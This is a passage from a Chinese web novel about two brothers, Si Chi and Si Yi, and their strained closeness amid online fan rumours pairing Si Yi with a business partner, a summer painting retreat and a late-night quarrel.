哟,司家只是和白家进行了一次商业合作,又不是把司弈赘了出去,这就替白序礼认起未婚夫了? 司驰不跟非人生物较劲,直接把这条留言拉黑,而后开始搜索这条谣言的来历。 找了一圈下来,白家官方那边发布的消息没有联姻相关的暗示文字,只是没有管控评论区狂刷99的CP粉,包括白承礼那个账号发布的内容,都只能归结为嗑CP。 白家没有闹到明面上,而且合作才刚刚开始,那么司弈应该也不会这么快进行处理。 就这么任由谣言发酵么?到合作后期,这谣言指不定演变成什么样。 司驰真想报警把那群人一股脑抓起来,但现实是他只能卑鄙地把每个热度高的“四百”帖子一一举报,或许网站压根不会处理,他只是白忙活一通,不光把自己气着了,还把自己累着了。 他颓废地把手机一丢,仰面躺倒在沙发上,目光从天花板飘到对面的开放式厨房,而后再飘回自己这边的墙壁。 司弈在别墅的卧室书房,也是这样暖色调的装修,他自己其实更偏好冷色,司驰见他那一水儿的正装休闲装,都是统一的黑白灰、深蓝藏青,和他的信息素很搭,和他个人对外的形象也很搭。 司弈还是太惯着司驰了,什么都要配合着司驰的喜好。 “哥哥,你……喜欢给我讲故事么?” 八岁的司驰看着背对自己睡觉的哥哥,小心翼翼地问道。 白日里放学,他被司机接回家,瞥见了他纤细瘦弱的哥哥正蜷缩在角落里。 司驰欣喜地挣脱司机的手跑过去,但哥哥像没看见他似的,自顾自用牙咬着绷带的一头,单手给自己另一条胳膊包扎,司驰猜他在做万圣节木乃伊的装扮,绷带表面还溅着几滴红墨水。 “哥哥,你是在为万圣节做准备吗?”司驰也没有生气,兴冲冲地跳上前问道。 可哥哥像是没听见,干脆把头低了下来,哥哥的嘴唇都有些发白。 然后司驰就被赶来的司机拦腰抱起,他挣扎着喊:“放我下来!” 司机叔叔却径自把他带离,告诉他:“小少爷,大少爷他喜欢一个人待着,不喜欢被人打扰。” 那么哥哥是不是不喜欢每天晚上给他讲故事,每天晚上陪他睡觉呢? 可是爸爸妈妈不在,他害怕,有哥哥在就不害怕。 司驰揣揣不安地等待回答,可哥哥好像睡着了,没有听见。 “哥哥晚安。”司驰吸了吸鼻子,有点委屈,但他不怪哥哥。 旁边背对着他的人缓缓平躺过来,哥哥说:“我喜欢给阿驰讲故事,也喜欢陪阿驰一起睡。” 哥哥真聪明,一下子就猜到了司驰下一个问题。 “我也喜欢哥哥。”司驰扑到了哥哥怀里,小狗一样蹭来蹭去。 哥哥倒吸了一口冷气,可他那会儿真是个傻子,又被家里保护得好,平时没怎么磕碰过,所以一点都不明白,绷带的正确用途不是为了在万圣节上装成木乃伊,而是用来包扎伤口。 司弈当时受了不算轻的伤,但没人管他,他一个人按照网上搜来的办法治疗自己,还得分出心神来应付司驰这个傻孩子。 好过分啊,司驰,你多被你哥打两下又怎么了?至于大清早的呛他两声才高兴? 司驰正可劲儿埋怨自己,手机“嗡嗡”地震动起来,吓得他通体一哆嗦。 是司弈打来的电话。 “都十二点半了,食堂的师傅说你没过来吃饭。” 原来是催促他出门吃午饭。 “你在食堂吃吗?你在食堂吃我就过去。”司驰起身踱步到防盗门前。 “只给你十五分钟。”司弈狡猾地说。 “哥,你过分!”司驰开门就小跑去电梯口,连拖鞋都没换。 “再磨蹭就只有十分钟了。”司弈说。 司驰忙喊:“别别别!我已经上电梯了!” 司弈在电话那头笑得开怀,似乎半点没计较早上司驰呛他的事,不过说起来司驰都叛逆了这些年,司弈也没跟他计较过。 挫败感再次涌上司驰心头,司弈似乎有与生俱来做兄长的天赋,但这个天赋上苍没有给予司驰半分。 他幼稚,愚蠢,冲动,自大,心里想着要保护司弈、要照顾司弈,但实际上什么都没法为司弈做到——逗司弈开心算吗? 司驰没有挂断司弈的电话,哪怕只有几步路就到公司。 “今天食堂有白灼虾、手撕鸡、清蒸石斑鱼,还有……”司弈在电话里报菜名,“你吃什么,我给你拿。” “荤菜你看着挑吧,素菜我就要白灼生菜,然后不要米饭,要大份的牛肉粉。”司驰小跑穿过马路,迈进公司大门。 等电梯的时候,有员工认出他,跟他和气地打招呼,他也礼貌地应着,实际看那怎么也等不来的电梯,焦急地来回踱步。 “别着急,菜都给你打好了,粉正在煮。”司弈笑着安抚道。 “别乱说,我才不急呢。”司驰嘴硬,但话音刚落,电梯门就开了,司驰赶紧小跑进去,按了“3”的按钮。 一出电梯门,就看见司弈站在食堂门口,冲他不近不远地招手,食堂里陆陆续续只坐满一半人。 他们一起挂断电话,司驰迎上前去:“今天食堂人怎么这么少?不是还在饭点吗?” “吴老师带着她团队的人去大实验室做交流了,然后周总这会儿应该在陪白序礼看艺术展。”司弈和他并肩走进食堂,在靠窗的长桌前坐下,“要不是公司实在没人坐镇,我今天就得北上。” “应该感谢周叔帮你应付白序礼吧。”司驰接过司弈推来的牛肉粉,不客气地接话说。 “但我也给了他十来天的董事长体验卡嘛,我离开的这些天,吴老师也不在,他在公司想干嘛就干嘛。”司弈坐在司驰对面,手边是一碗净云吞。 司驰撇嘴:“切,你让人家帮你干活,还说得那么好听。” “人周总可乐意了,他正想跟董事会那群老家伙碰一碰,好像上次堂爷爷养的小金丝雀当众呛过他,让他好没面子,要不是当时有吴老师拦着,指不定出什么事儿呢。”司弈说着,嘴角扬起看戏的狡黠。 司驰把粉咽下去,疑惑地问:“小金丝雀不是被周总开除了吗?他还要 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“所以你看到我好好长大,做自己喜欢的事情,和我喜欢的人共度一生,你就心满意足了?”司驰心酸酸地做着阅读理解。 他盯着司弈的脸,司弈没有太多表情波动:“啊,是吧。” 司驰没有注意到,司弈握着汤勺的手紧了紧,他只是自顾自地挤出微笑:“那真是谢谢你了,哥。” 明明中午能跟司弈吃饭,他心里是很高兴的,但为什么回来后又不高兴了。 司驰漫无目的地刷着“狐狸面具”那张图的评论区,说得好的他停下来点赞,骂他是梦男的就拉黑。 其实司弈根本不需要他吧,没了他这个累赘,司弈的生活还能轻松些,至少不会为了给他富裕的生活,在取得董事会认可的过程中身受重伤,差一点就随父母而去。 司弈头脑聪明,能力又强,年仅二十岁就在国外某青藤大学取得硕士学位,如果那年家里没出事,司弈能一直读到博士毕业,离开司家他也能闯出另一番天地。 可是司驰不行,那年司驰刚刚十三岁,跟发小朋友打架扯牛皮,为爸妈工作忙碌不管他撒泼打滚,对远在国外求学的司弈说赌气的狠话:你如果再不回来,我就不认你这个哥哥了。 他的世界简单到黑白对立、善恶分明,对于处在自己以外的世界却一无所知,而父母的骤然离世,给他这简单的世界里添上了复杂的灰色。 他第一次学会做错事后服软,是在爸妈葬礼上偷偷牵过司弈的衣角,强忍着已经忍不住的眼泪说:哥,你不要丢下我,哪怕前几天他才在越洋电话里跟司弈闹完别扭。 对司弈态度再好一点吧,你已经拖累他一段人生,还要被你自己乱七八糟的心情影响,继续找司弈不痛快么? 司驰缓缓地在沙发上坐直身子,用指尖轻拂过屏幕上少年司弈的脸庞,这张画的评论区比先前活跃了一些,不过没有尖刻的“梦男”评论。 有一条评论说:「司先生一定是您很重要的人吧。」 司驰没有回复,他知道司弈可能关注了他这个账号。 希望司弈记得给他点赞。 15. 诬告 司弈点亮了那颗小小的红心,虽然给自己的肖像画点赞有些自恋的意味,但好歹这是司驰的心血,作为哥哥当然要鼓励支持,哪怕有一千多张也得每张都支持。 只是不知道这么多张画,司驰是什么时候画完的,而且没有一张重复。 司弈没有深想下去,办公室外传来敲门声,他把手机放到一边:“进。” 言秘书推门,还没来得及和司弈打招呼,身后的人便快步掠过他,径直走近司弈的办公桌。 “原来是向总,稀客啊。”司弈也没起身,只是向言秘书使了个眼色,“阿骁,你去忙你的吧。” 言骁退出去带上了门,向家老二虚张声势地双手往办公桌一拍:“长话短说,司弈,我来就是提醒你一句,你给我看好你弟弟。” 司弈很快想起司驰跟他说过的话,却还装作不明就里:“向总针对我一个不够,还要针对阿驰这不谙世事的年轻孩子?” “你少来。”向天甩一甩拍痛的手,龇牙咧嘴道,“你弟去J市做了什么他没跟你说?” “他跟我说无意间路过你的店,遇见你无理取闹,让我小心你这个神经病。”司弈半真不假地说。 向天冷哼着退到会客沙发上坐下,也没把自己当外人,拿起果盘里切好的蜜瓜就啃。 “看来他知道自己做了坏事,心虚了,连你这个亲哥都不告诉。”向天含糊地叽里咕噜道。 司弈这才起身,给自己空掉的茶杯续水,里面小小的木樨花瓣浮上水面。 “阿驰是个好孩子,有什么要紧事,他不会瞒着我。”司弈说。 向天冷笑:“哦,那他有跟你说他撬我墙角的事儿吗?” 司弈将茶杯端起,踱步到向天对面的沙发坐下:“你不是没追上嘛,哪里来的墙角?” 茶杯表面有些烫,他拿不稳,只好“咚”地放在茶几,水面的木樨花激烈地晃了晃。 “那也是我准男朋友。”向天烦躁地抓了把头上的乱毛,“你弟就跟我男朋友聊了一下午,就互换联系方式,还约定好下次见面,我都服气了,我跟苏扬认识一个月后他才给我联系方式的啊!” “苏扬……是美院的老师吧。”司弈重新拿起杯子,木樨花又静静地浮在水面,“他和阿驰都是搞艺术的,互留联系方式很正常。” 他抿了一口茶水,这是第二次冲泡,没有刚开始木樨花那股浓郁的清甜。 “所以我才更要警惕你弟。”向天面色愈发严肃,“苏扬的前男友是画街头涂鸦的,前前女友是画国画的,前前前那位我忘了性别,反正也是画画的没跑。” “你要担心苏扬被抢走,那为什么不干脆自己学画画呢?”司弈假笑地调侃,把茶杯放下,推远了一些。 “我要有那艺术细菌我至于追苏扬两年吗?”向天愤愤道,“别人我可能管不着,但是你弟,他要做什么小动作我就直接来找你。” “我别的本事没有,但至少可以给你找点小麻烦。” 司弈习惯性地看看手表,但其实会议时间远还没到,不需要那么着急地赶向天离开。 他只是又开始了不受控的焦躁。 “我不会阻拦他追求自己喜欢的人,不管那个人是谁,如果他需要的话,我会帮他。”司弈听见自己这么说,甚至带上了礼节性的笑意。 “你也不怕惯坏他!”向天面露牙疼的表情,“我姐要知道我破坏别人家庭,那肯定是家法伺候。” “你和苏扬不也没有名分嘛,阿驰如果真的喜欢苏扬,也是正当追求。”司弈波澜不惊地说道,“好了,向总,马上我要去开会,就不听你诬告我弟弟了。” “你就惯着他吧你!”向天骂骂咧咧,但到底不敢在司弈的地盘撒野,“反正他要做出格的事情,我肯定不放过你!” 啧,聒噪。 司弈让言秘书把人带走,关上门后继续观摩司驰发布的画作。 阿驰,果然是我一厢情愿,误会了什么吗? * 司弈下班,到自家门口,刚刚九点半,比平时早半个小时。 中午司驰出门没带钥匙,司弈把自己的钥匙给了他,这会儿自然被关在了门外。 司弈没立马敲门,只是给司驰打电话,电话只含糊地“嗯”了声,没一会儿门便咔哒地拧开。 一阵木樨花香温暖地漫出。 司驰穿着松垮的小熊睡衣,站在门前,鹿一般的圆眼半睁不睁。 “你睡这么早?”司弈勉强地笑笑,这花香引得他喉间干涸地发疼。 “吃完中午饭就在画画……”司驰打着哈欠,说话也摇摇晃晃的,“吃完晚饭也在画画……” 挺好,没他的提醒还记得吃晚饭。 “也不用那么刻苦吧,离上学不还有一阵。”司弈上前一步。 司驰没有退让,反而也上前一步,仿佛发晕般撞进司弈怀里。 “嗯。”司驰闷哼地在司弈肩膀蹭蹭。 司弈好笑地刚想把人回搂,结果司驰把他一推,别开脑袋说:“困了,去睡觉。” 说完转身同手同脚地拐进了卧室,把司弈独自撂在了门口。 谁知道这小朋友一天到晚在想些什么。 司弈下意识摸了摸自己脖颈,方才司驰温热的呼吸轻轻扫过。 洗完澡进卧室,司弈扫见司驰正侧躺着刷手机,觉察到他进门,很快把手机往枕头下面一塞,闭上了眼睛。 “困了就睡觉呗,不用专门等我。”司弈自作多情地说。 司驰也没否认,稍稍地转过脸来,眼睛亮亮的,“你明天几点起床啊?”司驰软声问着,有点像在撒娇。 “你要起早送我啊?”司弈爬上床,被这木樨花的甜香泡得心里发软。 “想早起给你做早饭。”司驰彻底转过身来面对他,整个表情都变得亮晶晶,“我看了好几个做饭视频,还准备好了食材。” 司弈心里是感动的,但理智尚存,他轻笑着问道:“无事献殷勤,说吧,又背着我做了什么坏事?” 司驰耷拉下眉眼,甚至撇了嘴,原本冷硬的面部线条也软化得可怜巴巴。 “我老凶你,这不太好,对不起。” 司弈放下了心,他伸手摸摸司驰洗得蓬松的头发: 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司驰小时候上学起不来,都是司弈每天不厌其烦地叫醒,反正他们那会儿也是住一个房间,怎么都方便。 “阿驰,要起来吗?”司弈象征性地推了推司驰肩膀。 司驰下意识把司弈搂紧了些,发出了不情愿的哼哼声。 明明已经长开了,整张脸俊美不失冷硬,褪去了少年人的稚气,多了分青年人的沉静,可陷入睡眠时仍然无防备得像个孩子。 这样就行了,再推一把就真的将孩子吵醒了。 司弈屏住呼吸,悄悄地靠近司驰脖颈,在那贴上抑制贴的腺体处,轻轻地吻了一下。 轻手轻脚地起床,把事先整理好的行李箱拎出门,洗漱完毕后,司弈来到了小厨房,打开冰箱门,看见里面新添了一盒处理好的虾仁、一盘切得大小不均的鱼片还有一把新鲜的小葱。 这是要配粉吃,还是要熬粥喝呢? 司弈猜了一下,也没有猜到,但他还是情愿司驰多睡一会儿。 他并不太需要司驰继续表现出一个乖弟弟的形象。 他关上冰箱门,拎着行李箱径直走了出去,秘书言骁已经在楼下等他。 现在是凌晨五点十五分,天还没亮,司弈坐在车后排,给司驰发去留言。 言骁则一面往机场的方向开车,一面跟司弈简短地补充最近新收到的资讯。 “另外就是白家炒作那件事,不需要公关部出面引导舆论么?”言骁问道。 “随他们去吧,还不到时候。”司弈退出聊天框,锁屏上是对着镜头傻笑的司驰。 言骁提醒:“可按照他们这种炒作势头,您快要和白董事长联姻了,之后再开发布会可能被媒体追问这方面的事情。” “只是被人议论而已,对公司谈不上什么损失,我打算在合作结束后处理。”司弈收起手机,同时也收敛了嘴角的笑意,“至于这期间,会因联姻问题惊慌失措的不会是我。” 言骁了然:“明白。” 16. “鬼混” 弧状的液晶屏幕跳出巨大的“KO”,司驰将游戏手柄掷到地毯,仰面陷进了懒人沙发里。 “已经七点了,你跟我出去吃还是点外卖?”坐一旁的季青晃晃自己的手柄,扭过脸来问道。 “这就七点了?感觉都没做什么。”司驰扫了一眼窗外,确定外边已经天黑了,“出去吃吧,正好我回去,顺路。” 季青抻了个懒腰:“行,我也得活动活动了,不能一直坐着。” “我还以为,你要留我住宿呢。”司驰说。 “我还是很眼色的,驰哥。”季青起身,拾起地上的游戏手柄,和自己那个一块放到了桌面,“你如果愿意留宿,会跟我说清楚你为什么来找我。” 确实,正经起来的季青智商不低,不然也不会裸分考上Z大的法学系。 但司驰也说不清楚理由,他或许是在为司弈早上没叫他起来生气,又或许不是。 这样也没必要说出来,让季青陪他一块烦恼。 饭后司驰和季青告别,自顾自开车到了宝江边,他带了速写本,就在停车位的路灯下边,画那条江面上缓缓驶过的彩船。 灯光遮掩了船体的轮廓,他画了好几张,都没有一张满意的。 这两天他的画技是退步了吗?都还不如高考前。 司驰停下最后一笔,雨水穿过榕树枝叶的空隙,打在了他的画纸上。 只好回去了。 司驰回到司弈的单身公寓,下车跑进单元楼时淋了点儿雨,他又过上没有司弈的假期生活,除了住所不同,其他的都一样。 外边的雨还在下,他洗完澡爬上床,窗边依然淅淅沥沥。 他回复完季青的消息,才点开和司弈的聊天框。 司弈也不嫌烦,每个分别的夜晚,总是问司驰“今天过得还好吗”。 年纪小的时候,司驰也傻,开心就说过得好,不开心就说过得不好。 现在他学聪明了,完全敷衍司弈说:还行。 不管发生什么都还行。 这房子隔音那么不好吗?雨声太吵。 司驰翻来覆去地睡不着,但又不想再看“四百CP”相关的消息,只好点开朋友圈胡乱翻着。 可恶,司弈还是不爱发朋友圈。 滑着手机屏幕好一阵,司驰看到了一幅很亮眼的油画山景,一看发布者更是来了精神——苏老师果然出手不凡。 司驰勉强提了些精神,给苏老师留评论,问这山景是画的哪儿。 「这是我民宿外头的山,我最近都住在这边采风,小司,你要有空的话,可以过来避暑呀。」 司弈教给司驰一些辨别他人真心和客套的技巧,但司驰完全没有用到,几乎一秒就留下评论说:“好啊,苏老师。” * 苏扬的民宿在G市城郊的山间,是一栋独门独户的小楼,傍晚到三楼的天台小坐,能看见软红的夕阳卧在西山头。 司驰咬了口苏扬端上来的冻龙眼,被龙眼果肉里的酸奶冰得一哆嗦,但口很不错,他第二口就把这龙眼嘎嘣嘎嘣吃掉。 这会儿微风轻悄,天穹铺开的鱼鳞云染着火烧胭脂的颜色,太阳也不紧不慢地往山后头挪,司驰干脆把自己的画架推远了些,免得妨碍他观赏落日。 苏扬抱着相机到围栏边拍了两张照,才又潇洒地坐回藤椅。 “怎么样?这边避暑很舒服吧?”苏扬问。 “嗯,但我刚开车到这里的时候,还以为自己来错了地方。”司驰耿直地回答,“您这栋小楼和村里别的小楼没两样,就门口的小石狮子很特别。” “因为我对建筑设计是外行,买下这栋小楼,就没做太大的改动。”苏扬说起这个就来了劲,“至于那两头守门的狮子才是我亲手雕的,参考了F市那边的醒狮形象。” “好吧……那您这边都没游客过来住,真的不要紧吗?”司驰拐弯抹角地说出了自己最大的疑惑。 “没事吧,反正我自己来住,不用给房租。”苏扬已经嘎嘣嘎嘣嚼了三个冻龙眼,腮帮鼓鼓的,“我又不靠这营生赚钱。” “说的也是。”司驰讪笑着应和。 司驰很佩服这样的心态,更佩服的是苏老师为维护民宿的整洁,长期雇同村的阿公阿婆来小楼里打扫,苏扬过来住,阿公阿婆怕他一个人无聊,会跟着过来住,这也让司驰更自然地待在民宿里避暑,不用和苏扬长时间单独相处。 他也是做事不顾脑子,全凭心情驱动。司驰暗暗自责,要是向天那厮知道他单独来苏扬的民宿,不得当面炸成硫磺粉末。 那厮肯定和苏扬关系匪浅,不过苏老师不提,司驰也不好多问。 “你开学的准备做好了吗?”苏扬转移了话题,“虽然你是本地人,但美院好像是要求住宿的。” “嗯嗯,我一拿到通知书就开始准备。”司驰点头如捣蒜。 “那就好。”苏扬露出了些许慈祥的笑容,“可惜我下学期的课表没出来,不然可以提前给你一份,让你看着安排。” “怎么好意思让老师你操心呢,我自己去搜课表就行。”司驰不好意思,见苏扬把装龙眼的的碟子推过来些,便又用竹签扎起一个。 “反正也是顺手的事。”苏扬笑意深了些,“别跟我客气。” “我都‘不请自来’了,肯定没跟您客气。”司驰说。 司驰自认为不善交际,苏扬看起来也是,不作画时他俩多是相顾无言,但苏扬并不计较他们间有比较安静的空白,提起新话题也自然而然,而且不管司驰回答什么,他都不做过多评价。 渐渐地,司驰放轻松了许多,回答小时候学画的原因更是滔滔不绝,连“要当死后身价过亿的大画家”这样的白日梦发言都说出了口。 “还有一个原因是,我哥夸我画小人画得好,我就想多学一些,画得更好。”司驰仰面望着夜空中的星星,补充说道。 他么聊得真久,一大碟子龙眼清空,一壶花果茶见了底,连带天上的星星也换下了太阳。 “之前被向天提醒,我想起我见过你哥哥几次。”苏扬说,“他是个不错的年轻人。” 司驰没想到他会聊起司弈,讪讪道:“老师,您看着也年轻啊。” “我都快到不惑之年了,小朋友。”苏扬坦然说。 司驰微微惊讶:“那确实看不出来,我以为您跟我哥还有向老板是同龄人。” “夸张了啊,夸张了。”苏扬眯了眯眼,“不过你这么说,我听着也 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又来了,兄弟情深。 司驰心想他和司弈上辈子一定是对冤家,不然为什么到这辈子,“兄弟情深”这种在世俗领域交口称赞的好名声,落到他头上来说反而像是一种催命的诅咒。 哪怕在他尊敬的老师面前,听了这话,司驰也很难保持得体的微笑。 本来是到山间散心,为什么还是翻来覆去想到司弈。 这样迟早要完蛋。 司驰到底还是在苏扬民宿里住下了,一方面是他诚心想提升画技,另一方面是这个新环境里没有司弈的影子。 至于苏扬老师,司驰想他大概是第一次见面暂时瞎了眼,季青也陪他一块瞎眼,怎么会看出苏扬和司弈气质外貌相似。 “小司,很好,就是这样!保持一个激情,你现在差的就是激情!燃烧,燃烧起来啊,小司!” 老师,您平时在学校上课也像吉普赛人跳大神吗? 而苏扬全然不理会司驰眼里颤抖的恐惧,自顾自撇下眼镜,用块清理颜料的干抹布扎了头发,指挥司驰把墙上装饰的干花与画框取下,随机挑选一桶黑颜料,“哐当”泼上去,把白墙染得比黑夜还黑几个色号,然后递给司驰一个油漆刷,让他在这黑幕上作画。 “画得好我就把你画留着展示,画得不好你就用白涂料把墙刷回原样。” 所以我这是来学油画了,还是来当油漆工了? 司驰感觉自己上了贼船,但再下船也来不及,他手中的油漆刷不听使唤地动了起来。 艺术,艺术是什么? 艺术就是燃烧加爆炸。 余烬之下,司驰世俗的烦恼也被抛之脑后,只剩下昼夜颠倒地画画,与世隔绝地画画,颇有种集训考试的延续、闭关修炼的遗风。 他每天唯一跟现代通讯设备的接触,就是睡前跟司弈敷衍一句“还行”。 结果这一天,司驰并没有收到司弈的每日问候,而在晚上吃饭的时候,接到了司弈的电话。 电话里,司弈的声音死寂到仿佛风雨欲来: “司驰,明天开学,你又去哪儿鬼混了?” 17. 争执 司驰这才想起,他没跟司弈报备自己来苏扬这边学画,而且还忘记了开学的日子。 “我这就回来,你今天住哪边?”司驰含糊地避开问题,佯装没有发觉司弈犹如实质的愤怒。 “在别墅。”司弈似乎深吸了一口气,“你行李都在别墅,没搬到其他地方。” “好,等我两个小时。”司驰没有多解释。 正准备挂断电话,司弈扬起了声音:“你去哪儿了?” “吼什么吼!”司驰也来气了,“我不是要回去了吗?” 还好他晚饭是自己在房间吃,谢绝了苏老师的新菜品试吃邀请,不然他和司弈这大一声小一声的,会把苏老师和阿公阿婆们吓着。 “司驰,我最后问一遍,你去哪儿了?”司弈的声音沉了下来,这代表着他对司驰的耐心耗尽。 “在一个朋友家,闭关画画。”司驰只好退了一步,习惯性地,并不是因为他怂,“这朋友你应该也认识,就是苏扬,苏老师。” 司弈冷笑:“那你还蛮喜欢他,特地跑人家里画画。” 司驰为司弈的话里带刺不爽:“苏老师是美院的老师,我跟他请教绘画技巧有什么问题?” 反正整个漫长的暑假里,司弈陪他的日子两只手都能数清,司弈凭什么生气啊,他又没干什么坏事,不就是出门忘了报备吗? “我没说你有问题。”司弈压着情绪,没跟司驰吵起来,“赶紧回来,路上注意安全。” “明天开学,我又不能替你去学校报道。” 司弈这么说,司驰也猜到自己回去不用受皮肉之苦了,司弈不是不讲道理的家长。 但也正是这样太讲道理了,司驰心里憋得那口气无处释放,只能一拳锤在坐着的床垫上。 司弈那边没等他回答,适时地挂断了电话。 司驰收拾了自己的背包和画具,向苏老师和阿公阿婆告别,苏老师也全然不知山外岁月几何,听司驰说明天去学校报道,才想起来自己还有份在美院的工作,虽然不用像司驰要连夜赶回市区,但过两天也需要回学校为新学期做准备。 出门已经是晚上七点半,司驰路上没耽搁,等赶到别墅门口,正正好才九点,足够司弈把他训俩小时,反正十一点睡觉也不晚。 他习惯了司弈惩戒他的手段,竟然还养成一些自觉,司弈要是知道应该会感动。 司驰蹑手蹑脚地推门,把自己的背包和画具放玄关,离客厅还有一条走廊的距离,但他还是屏住呼吸,怕惊扰了等待他的司弈。 人工智障众里全然不懂看眼色,只知道有人进门就帮忙拿行李,穿过走廊时还虎虎生风地大喊:“小少爷回来了!小少爷回来了!” 声音几乎回荡到别墅每个角落。 “你个智障!给我闭嘴啊!”司驰踢踏着拖鞋,三两步追上去,要把小机器人捂嘴。 奈何众里行动更加灵活,背着包拎着画具,蹬蹬蹬地顺着螺旋的楼梯上了楼。 只剩司驰被引到了客厅,眼见着司弈坐在沙发上,看对面白幕上投影的公司报表,客厅只留下了几盏照明的小灯,似乎为配合投影仪而不太明亮。 空气陡然安静下来,只剩下司弈滚动鼠标滑轮的轻微声响,他没有回头,司驰便只看见他笔挺的背影,皱皱巴巴的白衬衫,发丝有些毛燥,束发的缎带滑到发尾。 看起来乱糟糟的,没有司弈平时的齐整和利落。 “回来了?”司弈滑动鼠标的动作没停。 “嗯……”司驰低头背手,看着地板上淡淡的反光。 “时间不早了,休息吧,明天还得去报道。”司弈停下了鼠标。 司驰眼皮一跳,再抬眼,屏幕上只剩空白的幽蓝色,跟司弈周身衬出毛茸茸的光晕轮廓。 “你……不骂我吗?”司驰迟疑地问,鼻腔先开始发酸。 “你都回来了,又没耽误事,骂你做什么?”司弈的回答平静到几乎没了情绪。 司驰不明就里,慌忙开口认错:“我出门没有告诉你,还差点忘记报道的时间,还……害你担心到处找我。” “哦,你都知道啊。”司弈冷笑,“知道就好,休息吧。” 不对,这很不对劲,以司驰对司弈的了解,他应该很生气才对,他为什么不生气了? 司驰几步上前绕过沙发:“哥,你听我说。” 而司弈抱着笔记本电脑也起了身,看也没看司驰,径自往书房方向走。 “有什么事明天再说,我现在还有工作。”司弈从头至尾都没回头看向司驰,“睡吧,阿驰。” 司驰紧赶几步追过去,咬牙低吼道:“是!你那天早上没叫我,我很生气,所以才没跟你报备,我可以承认!那你生气你为什么不承认!” “我没生气,你交到新朋友,我为你高兴。”司弈停在书房门口,将门已经推开一半,他声音很轻,似乎是在说服司驰,“就这样,晚安。” 司驰没来得及回应,书房门“砰”地一声在他面前关闭,惊得他通体一颤,却没有抖落他一头雾水。 司弈这是吃错什么药了?还是说工作压力太大了? “众里,你家大少爷在等我回来的时候,都在干什么啊?” 司驰洗完澡回到自己卧室,还是没有想明白司弈对他这古怪的态度,把缩小版的众里从充电舱里抱出来,生生把休眠的小机器人晃醒了问。 还好众里开机很快,眨巴一下豆豆眼便回答:“大少爷一直在看公司的报表。” “没别的了吗?”司驰不信。 众里斟酌了一下:“大少爷一直在认真细致地观摩公司报表。” 司驰无语:“……只是修辞的改变吗!” “因为除了看报表,大少爷真没干什么。”众里说。 好吧,小机器人不会说谎,司驰决定不为难小机器人了。 司驰泄气地仰面躺倒在床上,众里也跟着躺在他手边。 “你给我看看现在书房的监控。”司驰又想出来一个招。 “不好意思,小少爷,您没有相关权限。”众里的豆豆眼抿成一条冷漠的蓝线。 “司弈什么时候给我关了?”司驰翻身弹起。 “今晚六点二十分,大少爷回来的时候。”众里的豆豆眼恢复原状,“今晚六点三十五分,大少爷将别墅的「众里」系统关闭,直至七点十六分才重新开启,所以这段时间他干了什么,众里并不知晓。” “系统重新启 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「阿野老师已经说明自己只画单人图,而且从来都只打单人的词条,希望四百的CP粉不要贴脸。」 「阿野太太一般都不发多少文字,四百粉别胡乱解读,给太太乱扣梦男帽子!」 “阿野-”是司驰为这个账号随意取的这个ID名,因为有很多重名,特地加了个“-”符号,关注他的粉丝朋友叫他阿野老师或者阿野太太。 司驰也没有想到,他这断网的日子里,还有素不相识的人们为他说话,或许白承礼给“四百”的炒作终于开始翻车了? 司驰没忙着去验证,他看到另外的评论说:「看太太发了这么多画,还以为太太经常活跃产出呢,怎么这次一消失就是小半个月!这段时间我找遍全网,都没找到合适的司董二次产出!还真只有太太画得最好!祈求上天给司董单推人一点活路吧,本来就没有多少同好,好不容易来个镇圈的太太,还被不明生物泼黑水骂!」 司弈单推人吗?好小众的一类粉丝。 司驰心里有点小小的别扭,他尽可能忽略掉,毕竟这世上除了他以外,有人也是真心喜欢司弈的,没有把司弈当作是谁的附属品。 他从相册里找出自己前几天睡前画的速写练习,挑了一张神韵最漂亮的发到社交平台,画上的司弈正静坐看书,司驰细心地刻画了他垂眼的弧度,他捻起书页时修长的手指。 配什么文字呢? 司驰思忖了好一会儿,敲了一行:「还想听你讲第一千零二个故事。」 发布成功,司驰换了另一个吃瓜专用账号,点进了“四百CP”的词条,第一眼难得看见的不是同人图,而是一篇又一篇同人文。 标题都很劲爆,最典型的一篇题目是:「当序序发现弈狗出轨绿茶Alpha时」。 不是,我就半个月没上网,司弈怎么就变成狗了? 你们CP粉原来还吃出轨梗的吗? 怀揣着满腔的吐槽,司驰点开了这篇点赞量破万的“神文”,开篇第一句就是: 白序礼扇了司弈一巴掌,说:“你真让我恶心。” 18. 心意 司驰仿佛听见有什么东西在静夜里碎掉了,他发了一会儿愣,觉得那是他的世界观。 司弈怎么能被人扇巴掌呢?司弈怎么能被鄙夷成狗呢? 他们俩最落魄狼狈的时候,司弈面对家族中居高临下的旁系长辈都没有弯过脊梁,甚至当某位长辈“好心”提出要把司驰带走,去当她家孙辈的跟班陪读,司弈也断然拒绝,说他会供司驰继续读书,庇护司驰安心地长大。 当时,董事会的老东西们虎视眈眈,都想从他们父母的遗产里分一杯羹,是司弈对内与老东西们斡旋,对外开拓新的技术和市场,才有了他们兄弟二人的今天。 司驰想过白家给司弈泼脏水的多种方式,但唯独没想到是这样一种,给白序礼当狗么?笑话! 这CP粉只是把司弈当作拉郎配的工具人罢了,他们一点也不了解司弈,一点也不尊重司弈。 司驰眼底一片冰冷,再往下看更是不堪入目,“司弈”在其中只是一个油腻无脑还大Alpha主义的渣男,而“白序礼”则俊逸非凡进退有度,把渣男“司弈”玩弄于股掌中,连司氏集团最后也成了他的囊中之物。 所以在这个同人文的世界里,除了白家兄妹俩,其余人都是又坏又蠢的大混蛋? 司驰本人因在互联网上暴露的消息不多,幸运逃过一劫,没有加入到这个荒唐的世界。 他不信邪,又点开了另一篇,标题没有那么直白,很文艺,叫「无尽夏」。 然后司驰便看到“司弈”对“白序礼”虐心虐身,让“白序礼”失去了他们第一个孩子…… 这剧情跟标题有什么关系?!司弈怎么还是大渣男啊!这回不仅又蠢又坏还是个暴力狂! 司驰觉得自己不能再看下去了,再看下去他第二天看见司弈,肯定会嗷嗷大哭、不成人样。 之前不看同人文真是个明智的决定。 司驰找了找之前画白序礼单人图的画手,TA失信了,没有补上司弈的单人图,TA的主页全是白序礼。 在四百CP粉的群体里,不会有人偏向司弈,或者说这世界上除了司驰,谁又会真正偏向司弈? 连爸妈都不会。 哥,我真想让你得到世界上最多最好的爱……可惜我只是你那胆怯又无用的弟弟。 司驰抹了把脸上的泪,起身下楼,他还是想把话跟司弈说清楚,至少跟司弈好好道个歉。 先去厨房温了两杯牛奶,司驰才站到书房门口,一手端着托盘,腾出一只手敲门。 “哥,我还是觉得我们要好好聊聊。”司驰说,“不聊清楚,我晚上睡不着。” 